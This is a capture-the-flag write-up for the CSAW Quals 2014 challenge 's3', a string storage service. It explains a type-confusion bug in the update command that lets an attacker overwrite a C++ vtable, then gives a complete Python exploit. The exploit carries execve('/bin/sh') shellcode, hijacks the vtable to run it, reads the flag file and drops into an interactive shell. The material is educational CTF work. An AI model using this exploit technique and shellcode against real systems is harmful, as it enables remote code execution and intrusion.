choppers

CSAW Quals 2014: s3

2014-09-21 00:00:02

Description

s3
300

nc 54.165.225.121 5333

Written by fuzyll

Analysis

$ md5sum s3
dabc5210dde03d314eac887007997b6e  s3
$ file s3
s3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe99ee53d6922baffcd3cecd9e6b333f7538d0633, stripped
$ execstack s3
X s3
$

s3 is a string storage service. It can store two types of strings: "NULL-Terminated" c-sytle strings, and "Counted String" pascal type.

Also, the ID of a string is just a pointer to its representation in memory.

$ ./s3.patched
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3

> c 0 hello world
Your stored string's unique identifier is: 16498736
> r 16498736
hello world
> x
$ 

s3 uses stdio for communication. It must be served with something like inetd or socat.

start_s3.sh

#!/bin/sh
socat TCP-LISTEN:5333,reuseaddr,fork EXEC:./s3

It also has a nasty call to alarm(5) which makes debugging a pain. Here is a simple python script to patch the call with NOPs.

patch_alarm.py

#!/usr/bin/python

with open("s3", "rb") as f:
    contents = f.read()

start = 0
while start != -1:
    start = contents.find("\xE8\xD5\xF1\xFF\xFF", start)
    if start != -1:
        print "0x%08X: %s" % (start, "call 0xFFFFF1D5")
        start += 1

patched_contents = contents.replace("\xE8\xD5\xF1\xFF\xFF", "\x90"*5)

with open("s3.patched" ,"wb") as f:
    f.write(patched_contents)

Vulnerability

When updating a string, the new string is stored as a "NULL-terminated" string, but the type information is not updated. It also appears that the "Counted String" is a C++ object. An attacker can control the contents of that object, including the vtable.

$ gdb ./s3.patched
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/.../s3.patched...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/.../s3.patched
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3

> c 1 foobarbaz
Your stored string's unique identifier is: 6320176
> u 6320176 AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Your stored string's new unique identifier is: 6320336
> r 6320336

Program received signal SIGSEGV, Segmentation fault.
0x00000000004019d6 in ?? ()
(gdb) x/i $rip
=> 0x4019d6:    callq  *0x10(%rax)
(gdb) info registers rax
rax            0x4141414141414141   4702111234474983745
(gdb) q
A debugging session is active.

    Inferior 1 [process 6394] will be killed.

Quit anyway? (y or n) y
$ 

Exploit

By using the 'r' command on a type:1 string that has been updated with a pointer to a malicious vtable, an attacker can execute arbitrary code.

The steps for exploiting are as follows:

  1. Create a new type:0 string, shellcode, and fill it with shellcode.
  2. Create a new type:0 string, vtable, with a pointer at offset 0x10 to the shellcode string.
  3. Create a new type:1 string, exploit_string.
  4. Update exploit_string with a pointer to the vtable string.
  5. Run the 'r' command on exploit_string to trigger exploit.

This is a diagram of the heap once it has been primed for exploitation:

                      +---------+
  exploit_string:     | &vtable |
                      +---------+
                      |
                     \|/

                      +----------------------------------+
          vtable:     |........   &shellcode  ...........|
                      +----------------------------------+
                                   |
                      +------------+
                      |
                     \|/

                      +----------------------------------+
       shellcode:     | \x90\x90....                     |
                      +----------------------------------+

s3.py

#!/usr/bin/python

import re
import socket
import struct
import telnetlib

shellcode = ""
shellcode += "\x48\x31\xD2\x48\x31\xF6\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\xFF"
shellcode += "\x48\xC1\xE0\x08\x48\xC1\xE8\x08\x50\x48\x89\xE7\x48\x31\xC0\xB0"
shellcode += "\x3B\x0F\x05\x48\x31\xFF\x48\xFF\xC7\x48\x31\xC0\xB0\x3C\x0F\x05"
shellcode += "\xF4"

class S3:
    def __init__(self, host, port, logging=False):
        self.id_re = re.compile(r'is: (\d+)', re.MULTILINE)
        family = socket.AF_INET
        type_ = socket.SOCK_STREAM
        proto = socket.IPPROTO_TCP
        self.s = socket.socket(family, type_, proto)
        self.logging = logging

        self.s.connect((host, port))

        self.recv_until(("\n> ",))

    def send(self, tx):
        if self.logging:
            print "TX:", repr(tx)
        self.s.sendall(tx)

    def recv(self):
        seg = self.s.recv(1024)
        if len(seg) == 0:
            self.s.close()
            raise Exception("Peer closed connection")
        if self.logging:
            print "RX:", repr(seg)
        return seg

    def find_needles(self, buff, needles):
        for n in needles:
            if buff.find(n) != -1:
                return True
        return False

    def recv_until(self, needles):
        rx = ""
        while self.find_needles(rx, needles) is False:
            rx += self.recv()
        return rx

    def cmd_create(self, type_, string):
        if string.find("\n") != -1:
            raise Exception("Tried creating string that contains '\\n'")
        self.send("c %d %s\n" % (type_, string))
        rx = self.recv_until(("\n> ",))
        r = self.id_re.search(rx)
        if r is None:
            raise Exception("didn't find string id from create command")
        id_ = int(r.groups()[0])
        return id_

    def cmd_read(self, id_):
        self.send("r %d\n" % id_)
        rx = self.recv_until(("\n> ", ))
        return rx[:-3]

    def cmd_update(self, id_, string):
        if string.find("\n") != -1:
            raise Exception("Tried updating with a string containing '\\n'")
        self.send("u %d %s\n" % (id_, string))
        rx = self.recv_until(("\n> ", ))
        r = self.id_re.search(rx)
        if r is None:
            raise Exception("didn't find id for updated string")
        id_ = int(r.groups()[0])
        return id_

    def cmd_exit(self):
        self.send("x\n")
        while 1:
            self.recv()


def poc(s3):
    id_ = s3.cmd_create(1, "hello world")
    id_ = s3.cmd_update(id_, "AAAAAAAABBBBBBBBCCCCCCCC")
    s = s3.cmd_read(id_)
    print s
    s3.cmd_exit()


def simple_exploit(s3):
    shellcode_id = s3.cmd_create(0, shellcode)
    shellcode_id_packed = struct.pack("<Q", shellcode_id)

    vtable = "A"*0x10 + shellcode_id_packed
    vtable_id = s3.cmd_create(1, "\x00"*0x18)
    vtable_id = s3.cmd_update(vtable_id, vtable)
    vtable_id_packed = struct.pack("<Q", vtable_id)

    exploit_id = s3.cmd_create(1, "\x00"*0x18)
    exploit_id = s3.cmd_update(exploit_id, vtable_id_packed)

    s3.send("r %d\n" % (exploit_id,))

    s3.send("uname -a\n")
    # s3.send("ls /home/amazon\n")
    s3.send("cat /home/amazon/flag\n")
    t = telnetlib.Telnet()
    t.sock = s3.s
    t.interact()


def main():
    target = "54.165.225.121"
    debug = True
    debug = False
    s3 = S3(target, 5333, debug)

    # pause for debugger
    # raw_input("Press any key to continue")
    # poc(s3)
    simple_exploit(s3)


if __name__ == "__main__":
    main()

Output

$ ./s3.py
Linux ip-172-31-44-231 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
flag{SimplyStupidStorage}
*** Connection closed by remote host ***